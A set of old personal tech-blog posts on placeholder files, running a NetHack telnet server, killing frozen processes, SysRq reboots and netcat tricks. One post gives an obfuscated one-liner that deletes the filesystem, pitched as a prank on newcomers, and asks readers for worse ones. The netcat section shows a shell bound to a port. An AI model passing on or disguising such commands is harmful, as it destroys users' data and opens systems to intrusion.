Terminally Incoherent

Apparently there is something to be said about short blog posts. Allegedly I tend to get long winded sometimes and my posts can run a tad verbose sometimes. I usually tell people to STFU and go read Steve Yegge if they want to see verbose. I’m short, concise and to the point compared to him. But I figured that I’ll try some of that short blog post thing that people seem to be enjoying in other parts of the web. So I’m making a post about a silly little windows command. This is so that I don’t forget it about it next time I need it.

Have you ever needed a file of specific size to test something but you didn’t care what that file was? You know, just a space holder or a space filler kind of a thing? This is what you need to do to create one on Windows XP:

fsutil file createnew file.ext 10000

Naturally file.ext is the desired name of the file you want to create, and the numeric argument is the desired size in bytes. Note that fsutil creates a sparse file which means that this operation will be blindingly fast. For example it took about 3 seconds to create a 10GB file on my elderly windows machine.

Useful trick. I sometimes use it to see how a given app will act when it encounters a file of certain size. To accomplish the same thing in linux you apparently need to do something like:

dd if=/dev/zero of=my-file bs=1 count=0 seek=10G

I messed around with it, and the bs and count are important so don’t just skip them. The seek attribute specifies the desired size of your file, and here you can use human readable units (like 10Gb in the example).

So if you ever need a file of a specific size to test something, here is how you make one. How is that for a short post? What do you mean 350 words is not short? Ah, go to hell then. I tried. Next post will be verbose again.

We already established that terminally incoherent readers love them some nethack. The nice thing about nethack is that it takes only few hundred kb on your drive, and provides you with endless tons of entertainment. But hell, you don’t even need to install it. All you need to taste the nethack goodness is telnet.

There are several public nethack servers that let you play via telnet. The biggest and most popular one is located at alt.org. Or at least they are the one that shows up on Google results first. You simply telnet in, create an account and play online. This is such an awesome concept that I decided I need some of that. I want my own public server! This would be a perfect new role for that funky old Compaq Presario sitting under my desk and currently running Ubuntulite. So I started digging around for a solution.

And I hit a brick wall because the documentation for this kind of stuff is scant and/or nonexistent. Nevertheless I persevered and you can see the end effect at luke.kicks-ass.org. Sorry for the dyndns domain name, but this is a temporary sort of a thing. For now you can simply telnet in and play. I will probably keep the machine running over the weekend unless you guys manage to crash it.

Note: Use PuTTY or some real terminal client. The windows cmd.exe messes up the menu layout pretty badly. But I’m not sure if there’s anything I can do about it.

Once again, if you want to try out the server, just do:

telnet luke.kicks-ass.org

It’s running on port 23, and it should log you in automatically. From there you need to (r)egister an account. I don’t use the emails for anything, so when asked just type in anything as long as it has an email syntax. There is no email activation or any of that shit. Username and password are up to you. Just remember that this is telnet - so your password will be sent in plain text. Make up some silly one that you won’t be using elsewhere and you won’t cry when you lose it. When you are done it should dump you back at the initial prompt. There you can either (l)og in to play or (w)atch someone else play. Chances are no one is playing yet so log in.

On the next screen you will see bunch of options. Note that I left the nethack config files in bare bones state. You will probably want to use the “o” option to edit your options file to include the number_pad:2 bit that makes movement little easier for people who don’t like HJKL. The editor that ships with dgamelaunch is a vim clode so just fucking deal with it. Move down to one of the uncommented OPTIONS lines add number_pad:2 at the end, press Esc, then :wq and you should be back at the prompt. Now all that is left is to (p)lay.

Let me know how the server works for you. It may be a bit slow (the box is a very old laptop siting on an asymetric residential connection) but then again, this is nethack. You don’t really need rapid speed here. If you like it I might try to figure out a way to make this a permanent fixture of the site.

Here is a screenshot of me playing from my winXP box via PuTTY by telneting to luke.kicks-ass.org:

What follows below is the lengthy account of the issues I encountered while setting up this damn thing. If you don’t care about installation details, just skip down to comments.

So, how do you run a public nethack server? First you need the server software. Most servers out there use DGameLaunch which works, but is a major pain in the ass to use. It’s not in the repositories so you will need to download it from the website, compile and configure it yourself. And let me tell you it’s not a picnic. First, you will need to download few dependencies. You will need ncurses development headers, a telnet server and two lexical analyzers flex and bison. You also, obviously need gcc and make to compile the code. And naturally, nethack. You may already have these things on your system - my bare bones install of Ubuntulite didn’t. Just in case run the following:

aptitude install libncurses5-dev bison flex telnetd gcc make nethack-console

Allright, now we can get the server software and compile it:

wget ftp://ftp.alt.org/pub/dgamelaunch/dgamelaunch-1.4.6.tar.gz
tar -xzvf dgamelaunch-1.4.6.tar.gz
cd dgamelaunch-1.4.6/
./configure
make
sudo make install

Have fun. I know I did, because the only documentation that ships with dgamelaunch is a 6 Kb README file. Out of the 117 lines of text it contains, maybe 3 or for actually mention compilation and dependencies. This means that you need to pay close attention to the output of make. Funny thing is that the configure script noticed that I don’t have bison/yacc or flex/lex but did not consider that a stop condition and gleefully generated a makefile. Of course without these apps make would die a horrible death in a flurry of semi-random error message. Same goes for the ncurses header files - it knew it was missing, but did nothing. Thanks!

By default, dgamelaunch will get installed into /usr/local/. Once you compile it you need to do two things. First copy the dgamelaunch.conf from the examples folder to your /etc:

sudo cp examples/dgamelaunch.conf /etc/

Next you want to create chroot jail in which the server will be running. There is a script that does that which ships with dgamelaunch. Simply run it and you should be all set:

sudo ./dgl-create-chroot

It should create /var/lib/dgamelaunch directory and dump bunch of files in there. In my case the script failed to do all the work so I had to do few things manually. Most of this I figured out by trial and error because the README file only gives you cryptic hints on what to do if things go sour.

For example, the script keeled over trying to copy appropriate libs to the chroot directory. It kept failing with an error message pointing out that it can’t find some file, but instead of printing out the file name it would print out a hex value (memory address?). I looked at the script and noticed this was the very last few lines. It also had some small comment which suggested which libraries will probably get imported.

I manually copied all the listed file from /lib/ to /var/lib/dgamelaunch/lib/ then tried to run the binary. It kept failing telling me about other missing files. After 3 or 4 tries I got the full complement of needed libraries. If this happens to you, here is what you should do:

sudo mkdir /var/lib/dgamelaunch/lib/
sudo cp /lib/ld-linux.so.2 /var/lib/dgamelaunch/lib/
sudo cp /lib/libc.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.2 /var/lib/dgamelaunch/lib/
sudo /lib/libncurses.so.5 /var/lib/dgamelaunch/lib/

I also needed to populate /var/lib/dgamelaunch/etc/terminfo with files from /lib/terminfo. For some reason the terminal descriptions were not copied over to this location by the chroot script. I’m not sure this was intended behavior or just a glitch. If you are having problems running the game or the server interface take a peek in this folder. If it’s empty do the following:

sudo cp /lib/terminfo/* /var/lib/dgamelaunch/etc/terminfo/

Btw, when you are testing you need to run dgamelaunch with sudo. This is actually a small tidbit of knowledge that is outlined in the README file. Once you can run the app, register and account, edit the option file, and play few rounds of the game, you can move on to the next stage.

Now all we need to do is set up a telnet server so that people can connect and play. Of course This is the one place where the readme actually does offer you some help. Make sure telnetd is installed, and simply copy and paste the following file into your /etc/inetd.conf:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch -q -f /etc/dgamelaunch.conf

This may or may not work for you. It work for me. The -L option telnetd in feisty is retarded and doesn’t allow you to use any command line parameters to the shell you are specifying with it. The README file actually mentions that near the bottom. It also mentions that you can use an abridged version of this line:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch

If you do however it is important to make sure your dgamelaunch.conf is in the root of the /etc directory. If you plan place it in a subdirectory, you have to change the make file before you compile it. Check the README file for hints on how to do this.

After you change the inetd.conf file you want to restart the inetd server. There are several ways to do this, but a simple way that will work on just about any platform is:

killall -HUP inetd

This kills the process and forces it to restart and re-read it’s config file. It’s a tad brutal way to do it so don’t use it on a shared machine or one that is actually handling some critical data. What the hell are do doing installing nethack server on a critical server anyway?

If you do all of the above, you should have a working dgamelaunch installation, and a working telnet server. Just telnet in, and play. Id not, post in the comments and we can maybe figure out what is going on together.

tldr: dgamelaunch documentation sucks balls, but setting up the server is doable

Here is my favorite bash script which can be used to teach noobs about bash syntax, man pages and the importance of backup at the same time:

s="r"; d="$s"m; f="$s"f; sudo $($d -$f /)

If not on Ubuntu, just get rid of sudo and tell people to run it as root. Oh, and if you copied and pasted this into your terminal to try what it does, I hope you backed up recently. I’m guessing it probably won’t delete everything (there would be some access violations and stuff) but it will probably do enough damage for you to hate me for the rest of your life.

Oh, and it won’t work on Solaris 10. I guess someone at Sun fell for some incarnation of this very trick at some point.

Btw, has anyone ever killed a system this way? What is the most damage you ever did to a linux system by issuing a reckless command as root?

Also, can you beat my denoobization script? Time to show your true BOFH skills. Points will be given for the magnitude of damage it causes, obfuscation and brevity. Btw, you should be able to copy and paste it into the terminal as a single line.

You are happily working on your linux box when all of a sudden something freezes and becomes unresponsive. What do you do? Let’s talk about killing today!

img © Rossy ℗∑ñℊ⊍ïñ found @ evilpenguins.tribe.net

Everything really depends on situation. If it’s just a single application that decided to stop responding you can simply kill it. Now, you may think that killing is a bit harsh punishment for not talking to you - and it is. Best practice is to wait a little bit, and the app may un-freeze itself eventually. Chances are that some blocking process seized up the focus, and rendered GUI unusable for a little while. Then again, applications sometimes just freeze or get themselves into a runaway loop. And then there is not much you can do but send them SIGTERM or SIGKILL signal using kill or killall. The former takes the PID of the process as an argument, while the latter takes a name of the binnary and additionally tries to kill the whole process tree which is usually (but not always) a good idea. Note that both commands send SIGTERM by default which is essentially equivalent to nicey asking them to drop dead. If you use -9 you no longer ask - you shiv them in the heart with a rusty spork and watch them bleed to death on your new carpet. And by that I mean data loss, and other unexpected side effects so use it carefully. RTFM for all the other fun signals you can send to your processes.

But how do I kill something if I don’t even know whats it’s pid or the name of the binary?

Good question, voice in my head. You always bring up these interesting things. There are three ways to deal with this problem. First one is to STFU, stop being such a luser and use ps, and top to figure out which application is acting up and then -9 it like a man. But if you can’t handle that, there are two other remaining alternatives for the whussies: pkill, and xkill.

I mentioned pkill before, so I’m not going to repeat myself. All you need to know is that pkill is a smart fellow. He went to ninja school and is sneaky enough to figure out that when you tell it to kill firefox, you really mean firefox-bin. By that logic Kill and killall are kinda like mob hitmen - effective, but dumb as bricks. You have to tell them exactly who to hit, and how.

Xkill is kill’s graphically inclined cousin who specializes in killing windowed applications. When you call him, he appears as a stylish (or tacky, depending on your taste) black skull and bones cursor. Kinda like an inverse Jolly Roger. If pkill is a ninja, then xkill is a pirate of the bunch. Think Jack Sparrow - can be quite destructive if aimed well, but tends to blow shit up if you underestimate him (ie. click in the wrong place). Point him at your frozen window, hit LMB and he will do the rest. Note that if you change your mind you can cancel it by clicking anywhere with RMB.

What if my whole X seems to be locked up?

Easy - swith to a TTY using Ctrl+Alt+F1 (or any function key from F2 to F6 for that matter)! Then use top/htop or whatever strokes your fancy to figure out which app is hugging all the CPU and eating all the memory. Kill it and chances are that all the other software will be given a breath of fresh air and will resume normal function. You can switch back to X with Ctrl+Alt+F7.

If that doesn’t work, and you don’t mind loosing some data, you can give X the good old 3 finger salute. And no, it’s not that one. The old Ctrl+Alt+Del salute remains a fond memory of Win-DOS 95 users whose machines had those awesome reset buttons on the case, that helped them to recover from frequent BSOD’s. Reset buttons are a thing of the past, and so is the Ctrl+Alt+Del which acts as a key shortcut to bring up task management console, or logout dialog on most modern systems. Let’s face it - pressing this key combination no longer feels like saying “Fuck You OS, eat shit and DIEEE!”.

The 3 finger salute I’m talking about is Ctrl+Alt+Backspace - and it’s the key combination that will kill your current X session. And it will give you as much gratification, and therapeutic frustration relief as Ctrl+Alt+Del in the good old times but without actually hosing the filesystem or making the system unstable. Think of it as a forced logout combined with a restart of the X server. 98% of the time this will do the trick and let you resume work quickly and easily.

What if my system is frozen solid?

There is still a way to restart it gracefully using the magic SysRq key combo. Simply hit Alt+PrintScrn (which is how you get SysRq key) and then type in R E I S U B with… Your nose… Or other part of your anatomy. This will trigger a nice reboot that will not corrupt any of your data, destroy the file system or wreck any other crazy damage. In fact each of these keys issues a special SysRq command:

R - switch the keyboard mode
E - send all processes the SIGTERM singal
I - sends all processes the SIGKILL signal
S - Sync filesystem
U - Unmount all devices
B - Reboot immediately

Theoretically you could just do SysRq+B to do an old school, Win 95 style Alt+Ctrl+Del reboot, but it’s just as bad as hitting that power button. Your best bet is to run the whole sequence to ensure that the system shuts down in the way it would normally shut down when you issue a reboot command.

And it’s almost guaranteed to work even on a completely locked up system. That is, if it’s enabled on your system. If you are not sure, do a really quick test right now:

cat /proc/sys/kernel/sysrq

If you see a 1, you are in good shape. If you see a zero, you can enable the SysRq keys by doing:

sudo echo 1 > /proc/sys/kernel/sysrq

Better do it now before you somehow hose your system and need to use it. It’s kinda hard to issue commands when nothing responds to you.

How the hell do you expect me to remember this REISUB thing?

Mnemonics my friend. That’s how you do it. The popular one circulating out there is Rising Elephants Is So Utterly Boring. If you are more of a visual person, I have another one for you. Observe:

Get it? It’s REI Ayanami from Neon Genesis Evangelion and a Subway SUB. It’s easier to remember if you are a fan of the show. Just think about Rei eating a sub and you are good to go.

So there you go - plenty of ways to kill, maim and slaughter your applications in many ways. And best of all - most of these are relatively safe, and won’t break shit. At least for the most part. Remember kids - kill responsibly.

I always say that small, simple and self contained tools can often be more useful, and more feature rich than huge bloated frameworks. For example lets take legendary “Swiss Army Knife of Networking” - netcat. It is a single binary, which takes up about 60KB of space on your disk (give or take a few KB depending on where and how you compile it). What can it do?

I guess a good question is what can’t it do?

Port Scanner

Netcat can be a port scanner. It does not have as many features as say nmap, but if you just want to see what ports are open on a given machine, you can simply do:

nc -v -w 1 localhost -z 1-3000

The command above will scan all the ports in the range 1-3000 on localhost.

File Transfer

Let’s say you want to transfer a big zip file from machine A to machine B but neither one has FTP, and using email or IM is out of the question due to file size, or other restrictions. What do you do? You can use netcat as a makeshift file transfer software.

On machine B do the following, where 1337 is some unused port on which you want to send the file:

nc -lp 1337 > file.zip

Assuming that the IP of machine B is 10.48.2.40 go to machine A and do:

nc -w 1 10.48.2.40 1337 < file.zip

That’s it. The file will be magically transfered over the network socket.

Chat Server

Have you even needed an improvised one-on-one chat? Netcat can do that too. You simply start listening to connections on some port like this:

nc -lp 1337

Then on another machine simply connect to that port:

nc 10.48.2.40 1337

Now start typing on either machine. When you press enter, the line will immediately show up on the other machine.

Telnet Server

Nectat can also be used to set up a telnet server in a matter of seconds. You can specify the shell (or for that matter any executable) you want netcat to run at a successful connection with the -e parameter:

nc -lp 1337 -e /bin/bash

On windows you can use:

nc -lp 1337 -e cmd.exe

Then on a client machine simply connect to port 1337 and you will get full access to the shell, with the permissions of the user who ran nc on the server.

Spoofing HTTP Headers

You can use netcat to connect to a server using completely spoofed headers. You can actually type out your user agent, referrer and etc. It’s useful when you want to generate bunch of hits that can be easily found in the logs or something like that:

nc google.com 80
GET / HTTP/1.1
Host: google.com
User-Agent: NOT-YOUR-BUSINESS
Referrer: YOUR-MOM.COM

Note that your request won’t be sent until you generate a blank line. So hit return twice when your are done typing. You will get a response of headers and HTML streaming down your screen:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: PREF=ID=79f8f28c854d90ec:TM=1186369443:LM=1186369443:S=UIiTvi68MtmbcmGl; expires=Sun, 1
-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Server: GWS/2.1
Transfer-Encoding: chunked
Date: Mon, 06 Aug 2007 03:04:03 GMT
 
738

I deleted the HTML that followed the response - but you get the idea. It is also a good way of looking at headers. Some sites have nice surprises there (like slashdot’s X-Bender and X-Fry headers). Seriously, check them out!

Web Server

I think this is my favorite trick. Did you ever need to set up simple makeshift webserver that would serve a single page? I know I did. In the past when my web server at work melted down, I set up laptop with this simple script:

while true; do nc -l -p 80 -q 1 < error.html; done

The error.html page was just a very simple error message notifying our users about the outage, and giving them an estimate of when it would be fixed. It took me 3 minutes to set up, and probably saved us many angry support calls.

Cloning Hard Drive Partitions Over the Network

This trick was submitted by Craig in the comments. On a system you want to clone do:

dd if=/dev/sda | nc 192.168.0.1 9000

Where 9000 is some random port. On the receiving side di:

nc -l -p 9000 | dd of=/dev/sda

Of course you need to have the cloned partitions unmounted on both systems. So if you are cloning / you will have to boot from a live distro like Knoppix. Note that you can use this technique to clone NTFS partitions as well - just need to use a live Linux distro on both sides.

Summary

Despite being able to do all that netcat still conforms to the Unix philosophy of doing one thing, and doing it well. Netcat was designed for a single purpose - to read and write data packets over network sockets. And because of it’s singular purpose it can be used in such a myriad of ways.

It is ironic, but it is of ten the case that the more features you add to your application, the more specialized it gets. And of course, GUI is the ultimate functionality killer. If netcat had a GUI I doubt it would be half as useful as it is right now.

I’ve been told that socat is a more powerful netcat fork which has even more functionality. Personally, I haven’t played with it at all. It does seem to have a different syntax, and it is not as mature or well known, and popular as it’s predecessor.